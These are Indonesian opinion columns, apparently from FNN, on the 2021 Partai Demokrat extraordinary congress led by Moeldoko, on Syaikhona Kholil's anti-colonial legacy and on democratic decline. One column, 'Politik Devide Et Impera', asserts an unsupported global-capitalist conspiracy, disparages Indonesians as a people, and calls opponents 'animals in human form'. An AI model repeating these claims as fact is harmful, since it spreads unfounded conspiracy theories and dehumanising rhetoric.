by Tamsil Linrung Jakarta FNN – Kongres Luar Biasa (KLB) Partai Demokrat (PD) cukup mencengankan. Terendusnya rencana mengudeta PD tak juga mampu mengoyak rasa malu penyelenggara. Banyak yang menghujat. Namun tidak sedikit juga yang mengecam. Tetapi ujung dari rencana itu tetap membuahkan Kongres Luar Biasa di Deli Serdang, Sumatera Utara. Yang lebih mencengankan, tokoh utamanya adalah pejabat negara yang juga elit istana. Moeldoko, kita tahu, menjabat Kepala Staf Presiden (KSP), yang mengomandoi seluruh tenaga profesional di Kantor Staf Presiden. Kantor ini adalah lembaga nonstruktural yang berada di bawah dan bertanggungjawab langsung kepada presiden. Sejak awal, Presiden Joko Widodo bukannya tidak tahu perihal kudeta tersebut. Juga bukan tidak paham keterlibatan anak buahnya. Jauh sebelumnya, rencana kudeta Partai Demokrat telah disampaikan Ketua Umum PD Agus Harimurti Yudhoyono (AHY) melalui surat. Bukannya menanggapi, Presiden Jokowi malah membisu, dengan alasan itu urusan internal PD. Padahal, Jokowi punya beban moral mengklarifikasi. Sebab, sejumlah elit PD telah mengatakan ada kader yang mendengar lontaran kalimat KLB direstui oleh presiden. Barangkali saja nama presiden dicatut. Tetapi itu tak mengurangi beban moral tersebut. Beberapa menteri disebut-sebut ikut merestui pula KLB, termasuk Menteri Koordinator Bidang Politik Hukum dan Keamanan (Polhukam) Mahfud MD. Mahfud telah mengklarifikasi. Mengapa Presiden cuek? Menjadi sulit untuk menepis berkembangnya aneka dugaan. Termasuk dugaan sejumlah pihak bahwa Istana merestui gerakan KLB PD ini dengan cara melakukan pembiaran. Fakta yang mendukung dan tidak dapat diingkari adalah keterlibatan salah satu elit istana secara intens dalam kasus KLB PD. Tudingan miring itu kian mendapat pembenaran ketika aparat keamanan seolah kehilangan dalil untuk menindak kegiatan ilegal yang tidak berizin tersebut. Terlebih, kegiatan di Sumut itu memunculkan kerumunan di tengah pandemi Covid-19, yang dalam beberapa kasus sebelumnya, ditindak dengan sangat tegas. Bahkan penahanan segala. Moral Politik Di kalangan elit politik, rencana kudeta PD agaknya telah meluas sebelum isu ini menjadi konsumsi publik. Mantan Panglima TNI Gatot Nurmantyo mengaku sempat diajak terlibat penggulingan itu. Tetapi Gatot menolak dengan pertimbangan moralitas, etika, dan jasa Soesilo Bambang Yudhoyono (SBY). "Terima kasih Jendral Gatot. Anda mengenal budi. Sementara Moeldoko agaknya hanya mengenal Jokowie. Tidak mengenal budi," usai seorang jurnalis mewawancarai Gatot. Cuitan menohok ini sepertinya didorong rasa kesal melihat perjalanan isu kudeta hingga KLB di Sumut. KLB Sumut memang menjadi preseden buruk yang merusak nalar sehat demokrasi kita. KLB tanpa dihadiri pemilik suara. Tidak hanya kering legalitas, tetapi juga miskin etika. Bagaimana mungkin kumpul-kumpul beberapa mantan pengurus PD lalu membuat KLB atas nama PD, lalu mengesahkan Moeldoko yang nyata-nyata tidak memiliki sejarah dengan PD? Ini bukan tentang PD saja. Ini tentang demokrasi yang susah payah kita bangun bersama. KLB Sumut bukan hanya membunuh masa depan PD. Tetapi juga menebas masa depan demokrasi kita. Kita tahu, partai politik adalah tiang utama penyangga demokrasi. Maka perlakuan di luar batas terhadap PD menjadi urusan semua akal sehat yang merasa kemerdekaan demokrasi terancam. Tentu kita tidak ingin wajah demokrasi Indonesia menjadi barbar. Demokrasi harus mengedepankan nilai-nilai moral politik, etika dan hukum. Itulah demokrasi Pancasila. Demokrasi salah satunya dibangun atas ketundukan kita bersama kepada hukum. Secara hukum, PD memiliki Anggaran Dasar dan Anggaran Rumah Tangga (AD-ART) yang telah disahkan oleh negara melalui Kemenkumhan. Negara tentu tidak sekadar mengakui keberadaan partai, tetapi juga mendukung dan melindunginya agar berkembang dengan sehat sebagai piranti demokrasi. Pembiaran negara berpotensi memunculkan kegelisahan dan kegoncangan. Pimpinan partai politik lain tentu saja tidak akan pernah merasa aman. Sebab hal yang sama bisa saja terjadi pada mereka suatu saat nanti. Indikasinya mulai terlihat. Tiada angin tiada hujan. Namun Ketua Umum Partai Amanat Nasional (PAN) Zulkifli Hasan membuat surat terbuka kepada seluruh kader PAN untuk saling rangkul, saling bimbing, dan mempererat kebersamaan. Sementara Ketua Umum Partai Nasdem juga tetiba menyuarakan hal senada. Independensi Kemenkumhan Kini, bola panas kembali lagi kepada pemerintah, menyusul pendaftaran PD versi KLB Deli Serdang Sumut ke Kemenkumhan. Kita berharap Menkumham Yasonna Laoly dapat menjaga independensi dan integritasnya untuk menilai secara jernih pelaksanaan KLB Sumut. Netralitas pemerintahan Presiden Jokoie diuji dalam kasus PD ini. Sejarah tidak akan pernah luput dalam mencatat. Kita berharap pemerintah menjauh dari kepentingan politik. Paradigma hukum yang berkeadilan adalah satu-satunya solusi mengurai persoalan. Konflik organisasi tidak begitu rumit bila diselesaikan dengan kacamata hukum. Sebab hukum dapat dengan mudah mendeteksi antara yang legal dan yang ilegal. Meski demikian, untuk organisasi politik sekelas partai politik, faktanya seringkali tidak sesederhana itu. Modal hukum acapkali tidak cukup untuk mempertegas legalitas partai. Karena itu, rencana AHY menyambangi Kemenkumhan untuk menyerahkan surat penolakan terhadap penyelenggaraan KLB, cukup taktis dan strategis. Penyerahaan berkas adalah hal biasa. Yang istimewa adalah membawa 34 DPD seluruh Indonesia saat penyerahan berkas itu. Ini sebuah penegasan tentang legitimasi. Bila melihat reaksi pengurus daerah, agaknya kepemimpinan AHY masih cukup kuat. Menjadi lebih kuat lagi bila AHY melakukan konsolidasi melalui zoom. Membuat pernyataan sikap bersama seluruh pemilik suara PD, baik DPD maupun DPC secara terbuka, dan disaksikan masyarakat luas. Itu penting, karena menurut Deputi Bappilu DPP PD Kamhar Lakumani, saat ini kelompok KLB Sumut sedang menghubungi dan menekan para Ketua DPD dan Ketua DPC agar balik badan mendukung KLB Sumut. Mereka mengklaim akan mendapatkan pengesahan dari Kemenkumhan. Pada akhirnya, semua tergantung presiden. Seperti diungkap Hendri Satrio, SK Kemenkumhan kemungkinan tidak akan turun jika Moeldoko tidak direstui Presiden. Artinya, jika direstui, kemugkinan sebaliknya tentu dapat berlaku. Maka kita tak henti bertanya-tanya tentang sikap diam presiden di sepanjang perjalananan kasus ini. Keterlibatan langsung elit istana dan diamnya Presiden Joko Widodo dapat memantik praduga awal tentang ketidaknetralan pemerintah. Bila ini betul, maka PD bisa saja dikerangkeng dalam konflik yang berkepanjangan melalui dualisme kepemimpinan. Akibatnya, PD akan kehilangan fokus, kehilangan pemilih, dan kehilangan kesempatan mengikuti pemilu yang akan datang. Siapa yang diuntungkan? Jawabannya barangkali terbayang dalam benak masing-masing. Siapa yang dirugikan? Tentu saja kita semua, anak bangsa yang mencinta demokrasi. Penulis adalah Senator DPD RI.

Syaikhona Muhammad Kholil: Mengapa Harus Pahlawan? (2)

by Mochamad Toha Surabaya, FNN - Eksistensi dan kontribusi Syaikhona Muhammad Kholil dalam bidang agama, pendidikan, sosial kemasyarakatan, politik, dan sebagainya sangat besar. Kontribusi Syaikhona Kholil terlibat dalam perlawanan melawan kolonialisme di Indonesia. Terutama yang digerakkan oleh ulama dan santri. Simpul-simpul perlawanan, terutama di wilayah Tapal Kuda diinisiasi oleh santri-santri Syaikhona Kholil. Terkait dengan peran Syaikhona Muhammad Kholil dan posisi sentral Bangkalan sebagai pusat yang melahirkan gerakan perjuangan melawan kolonialisme sudah dianalisis dan direkomendasikan oleh Christiaan Snouck Hurgronje. Snouck Hurgronje tak lain adalah seorang orientalis yang menjadi penasehat urusan pribumi pemerintah Hindia Belanda di Indonesia. Temuan Hurgronje menyatakan bahwa Bangkalan merupakan pusat dari jejaring ulama dan santri di Jawa. Hal ini tidak lepas dari peran Syaikhona Muhammad Kholil sebagai guru dan pemimpin mereka. Temuan Hurgronje ini tidak begitu dihiraukan oleh Belanda, karena kondisi geografis tanah Madura membuat Belanda menafikkan kekuatan tanah Madura. Dalam catatan tulisan-tulisan Syaikhona Muhammad Kholil sendiri, didapati tulisan beliau yang bersinggungan dengan nasionalisme. Hal ini menjadi bukti penanaman nilai-nilai nasionalisme dan kebangsaan Syaikhona Kholil kepada santri-santrinya. Catatan ini masih tertuang dalam manuskrip asli. Dalam catatan ini mengutip sebuah hadits yang berbunyi: Hubbul Wathon Minal Iman (Cinta Tanah Air Sebagian dari Iman). Dalam proses menggelorakan semangat perjuangan melalui mimbar pengajian Musholla Pesantren Demangan ini, Hubbul Wathon Minal Iman menyelipkan semangat cinta tanah air. Sebagimana tertuang dalam manuskrip Hubbul Wathon Minal Iman sendiri. Semangat perjuangan, cinta tanah air, dan bangkit melawan kelaliman Pemerintah Hindia-Belanda selalu digelorakan oleh Syaikhona Kholil dari mimbar Musholla Pengajian Pondok Demangan setiap saat. Fakta ini terkuak dari hasil wawancara dengan KH Syarifuddin Damanhuri (Ketua MUI Bangkalan dan Pengasuh Pondok Pesantren Salafiyah Syafi'iyah Aermata Buduran Arosbaya Bangkalan). KH Syarifuddin Bamanhuri menuturkan, Syaikhona Muhammad Kholil Bangkalan selalu menyampaikan narasi-narasi perjuangan melalui mimbar pengajian di Musholla Pesantren Demangan. Tentu saja narasi perjuangan ini membuat gusar pemerintahan Belanda. Kiai Syarifuddin menututkan bahwa kisah ini didapat dari riwayat Kiai Damanhuri, dan Kiai Damanhuri mendapatkan riwayat kisah ini dari Kiai Abdul Mu'thiy yang tiada lain adalah kakek dari Kiai Syarifuddin Dahamhuri. Kiai Abdul Mu'thiy diketahui sebagai salah satu murid kesayangan Syaikhona Muhammad Kholil, sekaligus juru pijat pribadi Syaikhona Muhammad Kholil Bangkalan. Berdasarkan manuskrip itu, bukti otentik penanaman rasa kebangsaan dengan memberikan pemahaman kepada para santri bahwa mencintai bangsanya merupakan bagian dari iman. Hal tersebut tentunya tidak lepas dari pelajaran pokok di samping mempelajari agama, juga menyelipkan ajaran tentang nilai-nilai nasionalisme kepada para santri di tengah pergolakan kolonialisme Balanda di Nusantara. Manuskrip itu menegaskan bahwa ajaran tentang nasionalisme kepada santri menjadi hal yang utama, di samping pembelajaran tentang agama, seperti kajian fikih, nahwu, sharrof, dan sebagainya. Hal ini menyiratkan suatu komitmen kebangsaan yang luar biasa dari Syaikhona Muhammad Kholil. Kepedulian tentang persoalan bangsanya, diimplementasikan dalam dunia pendidikan dengan menanamkan tentang nilai-nilai nasionalisme dalam perspektif Islam. Syaikhona Muhammad Kholil memandang perlu dan kemudian diimplementasikan dalam pembelajaran dan pendidikan kepada para santrinya. Penanaman pendidikan tentang nasionalisme kiranya begitu massif dan intensif disampaikan oleh Syaikhona Muhammad Kholil kala itu. Mengingat ketika itu, Indonesia masih berada dalam genggaman jajahan Belanda. Tak bisa dibayangkan, bagaimana metode, cara, dan teknik yang disampaikan oleh Syaikhona Muhammad Kholil Bangkalan menanamkan semangat, hingga semua santrinya begitu terpatri gemuruh semangat nasionalisme yang sama dalam diri para muridnya. Hal yang tampak dari bukti itu, nilai-nilai dan karakter kebangsaan yang disampaikan kepada para santri menjadi pemantik tumbuhnya nasionalisme. Pemantik itu oleh para santrinya itu dijadikan landasan pembentukan karakter untuk mencintai tanah air dan bangsanya. Belanda Perampok Selanjutnya rasa kebangsaan tersebut diimplemantasikan dalam berbagai bentuk termasuk perlawanan secara kultural dan fisik oleh santri-santri Syaikhona Kholil di berbagai wilayah Nusantara, terutama di Pulau Jawa dan Madura. Kesadaran akan kebangsaan yang diperoleh para santri Syaikhona Muhammad Kholil dalam penempaan pembelajaran dan pendidikan, menumbuhkan kesadaran kolektif sebagai sebuah bangsa. Pendidikan adalah salah satu cara yang paling efektif dalam menumbuhkan kesadaran jiwa kebangsaan. Jika disampaikan oleh tokoh panutan yang menjadi guru secara terus-menerus dapat menjadi dogma yang begitu melekat pada para santri. Sehingga kemudian menjadi pemantik yang membakar dan membangkitkan nasionalisme di kalangan santri. Keteguhan sikap Syaikhona Kholil ditunjukkan dengan penegasan respon Syaikhona Kholil terhadap Pemerintah Hindia-Belanda. Interpretasi sikap Syaikhona Muhammad Kholil dalam mengibaratkan sebagai pencuri yang wajib dipotong tangan dan kakinya. Hal ini terungkap dalam manuskrip yang ditemukan berupa tulisan tangan Syaikhona Kholil. Atase Pemerintahan Hindia-Belanda di Surabaya pernah berkirim surat kepada Syaikhona Muhammad Kholil. Berikut adalah surat Atase Pemerintahan Hindia-Belanda Surabaya yang ditujukan kepada Kiai Hadji Halil diissi Kapook Bangkalan. Amplop surat yang dikirimkan kepada Syaikhona Muhammad Kholil Bangkalan dengan kop Scheepsagentuur Voorheen J. Daendels & Co, Gravenhage, Batavia, Semarang, Soerabaija, Padang, Macasser, Singapore. Sementara di bawah terdapat tulisan Ini Sorat Dari Balandah Soerabaja. Di atas amplop surat terdapat tulisan tangan (tulisan Arab Pegon). Perangko tertulis 15-11-1899. Sepertinya ini merujuk pada 15 November tahun 1899. Yang menarik dari manuskrip ini tentu saja adalah tulisan Arab yang artinya: “Ya Allah, bahwa ini (Pemerintah Hindia-Belanda) adalah Perampok dan Pencuri, maka potonglah tangan dan kakinya”. Guratan tulisan ini merupakan tulisan tangan langsung dari Syaikhona Muhammad Kholil. Tulisan ini dalam interpretasi peneliti, menggambarkan secara jelas betapa geram dan marahnya beliau terhadap pemerintahan Hindia-Belanda. Geram dan amarah Syaikhona Muhammad Kholil ini digambarkan dari penggunaan diksi kata Perampok dan Pencuri. (Bersambung) Penulis adalah Wartawan Senior FNN.co.id.

Politik Devide Et Impera

by Naniek S. Deyang Madiun FNN – Partai Hanura pecah. Partai Amanat Nasional (PAN) juga dipisahkan dari pendirinya Pak Amien Rais. Partai Keadilan Sejahtera (PKS) terbelah. Beberapa kader utamanya keluar, lalu membentuk Partai Gelora. Sementara Partai Berkarya diambil dari Mas Tomy Suharto, dan sekarang Demokrat dihostile take over dengan terang-terangan. Cerita sebelumnya Golkar juga terambang pecah. Dimana para tokoh di dalamnya membuat partai masing-masing. Prabowo Subianto membuat Partai Gerindra, Wiranto membuat Hanura, dan Surya Paloh membuat Partai Nasdem. Pecah jadi empat. Jangan lupa Partai Gerindra meski ditangan Prabowo juga sempat digoyang hebat oleh orang dekat Prabowo. Demikian juga dengan Partai Nasdem, hampir oleng saat Harry Tanoesoedibjomasih di dalam. PPP juga sama. Entah berapa kali terus terpecah. Dari partai besar, hingga mengerdil dan pengurusnya terus diguncang isu. Terakhir masih terbelah lagi kepengurusannya. Kemudian PKB juga pecah. Dari keluarga Gus Dur sebagai pendiri, terambil oleh Cak Imin Cs. Polemik rebutan PKB sejak jaman Presiden Megawati sampai Presiden SBY. Sebelumnya lagi, di jaman Pak Harto yang paling fenomenal adalah PDI. Kemudian berbelah menjadi PDI dan PDIP. PDI lama dipimpin oleh Suryadi dan PDIP dipimpin oleh Megawati. PBB, dan partai-partai lain juga terus membelah, hingga seringkali terpisah dari pendirinya. Bicara rebutan partai, atau terpecahnya partai, sebetulnya bukan sekarang saja terjadi. Dari jaman dulu juga terjadi. Mengapa? Saya pernah mendengar dulu dari para mahaguru intelejen, saat saya mulai menjadi wartawan politik, bahwa di Indonesia sejak awal merdeka, tidak pernah diikhlaskan oleh negara-negara besar termasuk eks penjajah. Untuk mengerdilkan Bangsa dan Negara Indonesia itu, hanya dengan cara devide it empera. Intinya tidak boleh ada kekuatan utuh, baik kekuatan dalam bidang agama atau partai politik. Tidak boleh ada partai politik punya kekuatan di atas 20 persen. Jadi, harus diobrak-abrik supaya banyak partai. Karena hanya agama dan partai politiklah yang bisa menggerakkan rakyat. Rakyat Indonesia yang mayoritas tidak punya karakter yang kuat, seperti mudah diadu domba. Senang hidup borju dan pamer. Suka menjilat dan gampang disogok. Tidak malu menghalalkan segala cara untuk mencapai tujuan. Benar-benar menjadi "alat ampuh" untuk terus membelah rakyat Indonesia, dengan menggunakan oknum rakyat. Sebut saja para komprador (combe penjual negeri). Rakyat Indonesia tidak boleh bersatu. Kalau bersatu akan sangat kuat dan mengancam negara mana pun. Karena akan menjadi negara berpenduduk Islam terkuat, dan dengan alam yang luar biasa kaya. Kalau rakyatnya kelewat kuat, tentu sangat sulit bagi kaum kapitalis global untuk terus menjajah Indonesia. Terus mengeksploitasi SDA dan juga market (pasar Indonesia). Saat di jaman Orde baru (Orba), Pak Harto sepertinya memahami teori konspirasi global untuk terus mengangkangi negeri ini. Makanya selama 30 tahun memimpin, Pak Harto berusaha hanya ada tiga Partai Politik saja. Namun kekuatan tiga partai ini juga terus digerilya, hingga PDI misalnya, pecah menjadi dua. Demikian juga dengan PPP. Yang agak tangguh hanya Partai Golkar, karena dikendalikan langsung oleh pak Harto. Kelompok Islam juga hanya dua, NU dan Muhamadiyah. Meski terus dibentur-benturkan, misalnya lewat kesepakatan Hari Raya atau mulai puasa yang nggak pernah sama antara NU dan Muhamadihah, namun Pak Harto sangat cerdik. Tidak boleh masing-masing golongan itu membuat partai. Maka jadilah partai orang Islam itu ya hanya satu, yaitu PPP saja. Pak Harto yang dinilai mengganggu konspirasi global untuk mencekram Indonesia, akhirnya melalui orang-orang Indonesia sendiri dilengserkan. Setelah Pak Harto lengser, kekuatan global asing makin leluasa mengaduk-aduk Indonesia. Maka partai politik pun lahir bak jamur di musim hujan. Pernah ratusan partai bermunculan. Tak yanya itu organisasi Islam juga bermunculan. Dalam posisi rakyat makin banyak dalam kelompok-kelompok, maka aksi devide et impera mudah untuk dijalankan. Apalagi rakyat terus dibelah seperti saat ini, maka kapitalis global makin berpesta pora mengeduk kekayaan alam. Bukan tidak mungkin pada saatnya nama Indonesia tinggal kenangan. Siapa yang membantu konspirasi kapitalis global ini mengacak-acak politik di Indonesia? Supaya tetap bisa menjajah Indonesia sekarang? Dengan terus-menerus menyudutkan Islam?.Mereka adalah para komprador! Maaf, mereka bajingan penjual NKRI ini menyusup di semua lini. Mereka ini sekumpulan binatang berwujud manusia yang melihat dunia tanpa batas yang disebut negara. Mereka serigala berbulu domba. Mereka bisa berwujud pejabat eksekutif, legislatif, maupun yudikatif. Mereka juga pengusaha, artis, tokoh, pemimpin agama, LSM, Wartawan dan lain-lain. Penulis adalah Wartawan Senior.

Baranikah SBY Geruduk Istana?

by M. Rizal Fadillah Bandung FNN - Ungkapan Ketua Bappilu dan OKK Partai Demokrat Andi Arief bahwa terhadap gerakan kudeta Moeldoko lewat Kongres Luar Biasa (KLB) abal-abal, Partai Demokrat SBY akan geruduk Istana. Meski Istana mengeles tak terlibat, namun status Moeldoko sebagai Kepala Kantor Staf Kepresidenan (KSP) sulit untuk mempercayai bahwa gerakan Moeldoko tanpa sepengetahuan Presiden atau Istana. SBY menyerukan "lawan" atau mengumandangkan deklarasi perang atas invasi Jenderal Moeldoko ke Markas Partai Demokrat. Jika SBY atau AHY konsisten dan berani, maka pertarungan bakalan menjadi seru. Sebagaimana KLB sendiri yang merupakan aksi politik, maka selayaknya dilakukan perlawanan secara politik. Mengapa bukan hukum? Ada tiga alasan. Pertama, Moeldoko and his gang bukan tak faham bahwa KLB itu melanggar hukum dan tak sesuai dengan AD/ART Partai Demokrat. Sangat tahu tentunya. Kemungkinan terjadi gugatan hukum juga sudah diperhitungkan. Tapi proses hukum diyakini akan dimenangkan oleh intervensi kekuasaan. Rekayasa bertingkat. Kedua, proses hukum adalah jalan panjang yang masuk area "buying time" yang menguntungkan Moeldoko. Di tengah proses yang bertele-tele, pengesahan cepat hasil KLB oleh Kemenkumham menyebabkan Moeldoko bebas bergerak. Menteri Hukum dan HAM Yasona Laoly berasal dari PDIP, lawan politik SBY dan Demokrat. Ketiga, proses hukum hanya menciptakan dualisme kepengurusan in concreto. Partai Demokrat pimpinan Moeldoko akan melakukan konsolidasi intensif ke bawah untuk memecah. Tentu dengan bantuan bapak Dana yang sejak awal sudah bersiap-siap untuk menerkam. Menghadapi gerakan turun ke bawah Moeldoko itu, tidak ada pilihan lain yang tersedia untuk SBY dan AHY. Dua tokoh penting di Partai Demokrat ini harus melakukan gerakan perlawanan politik. Perang terbuka. Disamping geruduk Istana dengan tekanan pecat Moeldoko dan keluar pernyataan Presiden bahwa KLB tidak sah. Harus juga melakukan langkah lain. Pertama, memperluas isu dari semata masalah kudeta Partai Demokrat, ke arah pidana kerumunan di masa pandemi, rezim otoritarian, serta pelanggaran Konstitusi. Presiden Jokowi yang dengan sengaja mendiamkan aksi KLB Deli Serang, dengan arsitek Moeldoko adalah perbuatan tercela Presiden yang menjadi alasan bagi pemberhentian. Kedua, melakukan konsolidasi politik besar-besaran terhadap seluruh jajaran pengurus dan kader agar bersiap bersama melakukan perlawanan terhadap upaya eksternal yang mengacak-acak Partai. Langkah itu untuk membuktikan bahwa pengaruh SBY masih kuat terhadap kader dan soliditas Partai hingga ke struktur yang paling bawah. Ketiga, munculkan sikap kritis dan panas anggota DPR RI Fraksi Partai Demokrat di Parlemen dengan usul penggunaan Hak Interpelasi, atau bila perlu Hak Angket berkaitan dengan dugaan keterlibatan Presiden dalam aksi politik brutal KLB Deli Serdang. Keempat, jajaran Partai Demokrat di kendali SBY dan AHY harus mulai menyadari dan peduli akan nasib elemen lain yang menjadi korban kezaliman rezim. Keluar dan turut berteriak soal penahanan aktivis KAMI, pembelaan pada HRS, serta membantu menekan agar terkuak kasus pelanggaran HAM pembunuhan enam anggota Laskar FPI dan pelanggaran HAM lainnya. Kelima, Partai Demokrat lebih vokal mengkritisi kemerosotan ekonomi negeri, termasuk hutang luar negeri dan carut- marut penanganan pandemi Covid 19. Mengadvokasi korban dan lembaga kesehatan yang terdampak akibat penanganan pandemi yang kurang baik. Partai Demokrat jangan menjadi Partai yang terkesan "cari selamat", sehingga menjadi ragu dalam memperjuangkan aspirasi rakyat yang dirasakan beban, dan kondisinya semakin berat. Buktikan bahwa terhadap gerakan ilegal KLB Moeldoko, memang Partai Demokrat benar-benar melakukan perlawanan. Rakyat akan selalu bersama partai pejuang kebenaran, kejujuran, dan keadilan. Sebaliknya, ketika terjadi pembiaran atas nasib yang menimpa satu partai politik, maka mungkin sebenarnya partai politik itu memang selama ini tidak pernah bersama rakyat. Sibuk dan ramai dengan urusan dirinya sendiri saja. Penulis adalah Pemerhati Politik dan Kebangsaan.

Euforia Demokrasi di Tengah Distorsi Moral Bangsa

by Pramuhita Aditya Jakarta FNN - Sejak bergulirnya reformasi, harapan kita adalah mewujudkan demokrasi dengan seutuhnya secara konsisten dan konsekuen. Harapan ini termanifestasi dalam lima tuntutan reformasi untuk mewujudkan Indonesia sebagai negara yang demokratis. Namun hingga saat ini harapan itu masih jauh dari apa yang diperjuangkan oleh para mahasiswa kala reformasi 1998 dulu. Kita berada pada tahap dilema distorsi moral bangsa yang sangat dalam. Pasca reformasi memang kita disibukkan dengan berbagai penataan sistem ketatanegaraan, dan membangun perbaikan kembali dalam beberapa lembaga kenegaraan. Kenyataan ini sebagai bentuk konsolidasi demokrasi kembali menuju alam demokrasi seutuhnya. Namun apa yang dirasakan setelah masa-masa redemokrasi tersebut berlangsung hingga lima priodesasi presiden ini masih jauh dari cita-cita. Padahal reformasi yang digaung-gaungkan menjadi jargon demokrasi dahulu. Sungguh ironis jika hampir 23 tahun agenda pembangunan kembali Indonesia belum juga memberikan hasil yang signifikan. Konflik internal antar kelompok sosial serta masyarakat dengan negara tak kunjung selesai. Padahal konsolidasi demokrasi sudah dilakukan sejak lama. Tulisan Yudi Latif di Media Indonesia (21/01/2019), “Jalan panjang proses menjadi negara-bangsa Indonesia harus kita pahami dan hayati secara mendalam, manakala Indonesia hari ini menunjukkan tanda-tanda menghadapi ancaman disrupsi kebangsaan. Menyimpang dari nilai-nilai Pancasila yang menekankan semangat gotong-royong, ada tendensi melihat perbedaan dalam kerangka pembelahan politik. Bukan dalam kerangka saling menghargai dan kerja sama”. Lihat saja pada suksesi politik, baik daerah maupun secara nasional. Masyarakat terbelah dengan sakala besar. Media sosial dipenuhi dengan bergam komentar yang saling menyudutkan, bahkan sampai ke tingkat fitanh. Ingat loh bahwa kita adalah Negara Kesatuan Republik Indonesia (NKRI) yang berdasarkan Pancasila, dengan sila ketiganya Persatuan Indonesia. Tulisan Ariel Heryanto pada media Kompas (06/03/2021), “Setahun terakhir sopan santun pengguna media sosial Indonesia paling terparah di dunia”. Hal ini diperoleh dari hasil riset Microsoft seminggu yang lalu. Dalam tulisan analisis budaya ini, Ariel menulis “memprihatinkan, tapi tidak mengejutkan jika ingat jumlah laporan polisi dan kasus hukum beberapa tahun belakangan”. Keadaan ini bukan mustahil memperburuk kehidupan berbangsa dan bernegara. Ibarat terpelihara, kebencian dan kemarahan akan menjadi distorsi moral kepada bangsa dan negara Indonesia. Kebiasaan ini akan terjadi regenerasi. Bagaimana kelak generasi penerus bangsa dan negara kita di kemudian hari? Jika perbedaan pandangan itu merupakan sunatullah, maka perbedaan itulah dijadikan potensi dalam membangun keragaman untuk mencapai Indonesia yang merdeka seutuhnya. Bukan malah sebaliknya, dijadikan musuh atau diberhanguskan begitu saja. Lain halnya kalau dengan ideologi yang menjadi parasit dalam tubuh NKRI. Memudarnya moral kebangsaan ini bukan tanpa sebab. Fenomena ini jika ditarik jauh ke belakang, maka kita dapati euforia demokrasi yang berlebihan. Akibatnya, terbengkalainya agenda-agenda penting regenerasi kepemimpinan Indonesia di masa yang akan datang. Selanjutnya menurut Yudi Latif, Pergeseran dalam menyikap perbedaan itu merupakan akumulasi dari krisis yang berlangsung pada ranah mental-spiritual (karakter bangsa), ranah institusional, dan ranah material. Bahwa perkembangan ketiga ranah itu telah melenceng dari imperatif moral Pancasila. Lain halnya dengan pra kemerdekaan. Jauh sebelum Indonesia merdeka, para pemimpin-pemimpin bangsa sudah mempersiapkan diri dengan konsep-konsep yang brilian menuju Indonesia merdeka. Hal ini diperhitungkan secara matang dan tersistematis. Sekalipun banyak perbedaan pandangan diantara para founding father, sehingga konflik-konflik diantara mereka tidak dapat dihindari, namun konsolidasi perjuangan tetap dilakukan untuk menggapai Indonesia merdeka. Kita dapat menyaksikan bagaimana Sarekat Dagang Islam (SDI) yang menjadi Sarekat Islam (SI), Muhammadiah, Nahdatul Ulama, Al-Irsyad, Persis dan organisasi-organisasi keagamaan lainnya berpadu, berlomba-lomba dengan organisasi nasionalis seperti Budi Utomo hingga Taman Siswo yang menjadi cikal-bakal bangsa Indonesia terlahir hingga merdeka dan membentuk negara hari ini. Pemimpin bangsa Indonesia terdahulu berjiwa besar. Bahkan mereka rela berkorban tanpa imbalan. Hanya berharap ridho Tuhan Yang Maha Esa. Lain halnya dengan era demokrasi Indonesia saat ini. Gontok-gontokan merebut kekuasaan atas nama rakyat. Alhasil terbangunn kelompok masyarakat yang pro dan kontra menghiasi dunia lingkungan masyarakat dan media sisial. Kondisi sosial masyarakat saat ini harus ditangani, dan diselesaikan secara baik dan benar. Keadaan ini sudah diibaratkan api dalam sekam. Jika dibiarkan berlarut-larut, tidak menutup kemungkinan keadaan lebih menjadi buruk dan bertambah parah. Tentu itu kondisi yang tidak kita harapkan. Gambaran fenomena saat ini memberikan isyarat, supaya pembenahan kembali serta menyusun agenda konsolidasi demokrasi. Tujuannya untuk memperkuat tatanan kebangsaan, dan kenegaran demi menciptakan persatuan dan kesatuan menuju Indonesia emas 2045. Penulis adalah Kandidat Ketum PB HMI 2021-2023.

Jangan-Jangan Ada Pasal Omnibus Law Yang Bolehkan Begal Parpol

by Asyari Usman Medan, FNN - Buru-buru saya buka lagi PDF Omnibus Law (OBL). Berjam-jam saya “scroll down”. Maklum lebih seribu halaman. Tak sebaris pun saya lewatkan. Penasaran sekali mengapa Moeldoko bisa lancar mengambil alih Partai Demokrat (PD). Begitu mulus proses pembegalan itu. Kumpul sejumlah orang di Sibolangit, Jhoni Allen Marbun membuka “kongres luar biasa” (KLB), dan seketika itu juga diumumkan Moeldoko terpilih sebagai ketua umum. Sewaktu diumumkan, Pak Moel tidak ada di arena KLB. Dia hanya tersambung lewat telefon ke ruangan deklarasi. Dia menanyakan apakah KLB sesuai AD-ART, apakah serius mendukung dirinya menjadi ketum, dst. Terdengar teriakan koor “Sesuai” dan “Serius”. Moeldoko baru hadir di arena KLB malam hari, 5 Maret 2021. Deklarasi itu berlangsung di siang hari pada tanggal yang sama. Dahsyat sekali. KLB Sibolangit itu berjalan singkat, padat, nekat. Tidak ada pihak keamanan yang membubarkan baik dengan alasan keabsahan KLB maupun alasan prokes Covid-19. Kok bisa pengambilalihan parpol dengan kepengurusan yang sah, berjalan mulus? Apakah sudah ada landasan hukum baru yang membolehkan penggantian pimpinan parpol oleh pejabat negara? Saya telusuri terus ke bawah. Jangan-jangan ada pasal-pasal Omnibus Law yang memberikan kemudahan untuk mengganti ketum parpol oleh orang luar. Sebab, UU No. 11/2020 Cipta Kerja ini memang dibuat untuk memudahkan semua urusan. Selagi memudahkan lapangan kerja, pasti ada di OBL. Nah, pengambilalihan PD oleh Moeldoko termasuk menciptakan lapangan kerja. Banyak lowongan baru. Ada waketum 8 orang, sekjen dan wasekjen 5 orang, bendahara 5 orang, ketua bidang 15 orang, ketua DPD 34 orang, ketua DPC 514 orang, satpam kantor seluruh Indonesia 1,100 orang, dlsb. Cukup banyak. Barangkali Pak Moel sudah melihat pasal-pasal yang menjamin kemudahan begal parpol itu. Siapa tahu, ‘kan? Sehingga dia melihat peluang bagus untuk cipta kerja. Kalau memang ada di OBL, pasti Presiden Jokowi senang dengan cara Moeldoko menciptakan lapangan kerja baru itu. Pasti pula pengambilalihan PD akan disahkan oleh Menkum HAM Yasonna Laoly. Sehingga, PD Moeldoko bisa beroperasi segera guna menarik minat investor. Saya telisik terus. Belum juga berjumpa pasal yang dicari. Akhirnya saya istirahat dulu untuk menuliskan ini.[] Penulis adalah Wartawan Senior FNN.co.id.

Produksi Melimpah Kok Impor Beras

